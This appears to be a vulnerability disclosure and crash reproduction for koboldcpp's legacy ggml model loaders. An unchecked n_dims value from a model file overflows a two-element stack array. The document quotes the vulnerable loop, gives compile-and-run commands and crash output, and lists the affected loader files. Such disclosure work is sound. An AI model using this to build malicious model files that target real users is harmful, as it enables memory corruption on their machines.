ybgwon96's picture
Upload 3 files
66f1af6 verified
|
Raw
History Blame Contribute Delete
1.21 kB

Dynamic proof — koboldcpp legacy ggml loaders unchecked n_dims → ne[2] stack overflow

Reproduced 2026-07-04. Isolates the loop shared by koboldcpp's legacy ggml loaders, e.g. otherarch/gpt2_v2.cpp:269-273:

int32_t ne[2] = {1,1};
for (int i = 0; i < n_dims; ++i) { fin.read(&ne[i], sizeof(ne[i])); nelements *= ne[i]; }

n_dims is read straight from the model file with no n_dims <= 2 check.

Run + crash (-O0; real code's fin.read writes are non-elidable)

c++ -O0 -g -fstack-protector-all ndims_repro.cpp -o ndims_repro
./ndims_repro 100000
* stop reason = EXC_BAD_ACCESS (code=1, address=0x16fe00000)
    frame #0: main at ndims_repro.cpp:18   ; ne[i] = 0x41414141   (== fin.read(&ne[i], ...))
exit=139 (SIGSEGV)

n_dims>=3 writes attacker bytes past the 2-element stack array; a large n_dims sweeps down the stack until the guard page -> SIGSEGV.

Affected loaders (same pattern, ne[2] + unchecked n_dims)

otherarch/gpt2_v1.cpp, gpt2_v2.cpp, gpt2_v3.cpp, gptj_v1.cpp, gptj_v2.cpp, gptj_v3.cpp, mpt_v3.cpp, llama_v2.cpp, llama_v3.cpp, neox_v2.cpp, neox_v3.cpp, rwkv_v2.cpp — selected by koboldcpp's FileFormat detection (gpttype_adapter.cpp) when loading a legacy-format model.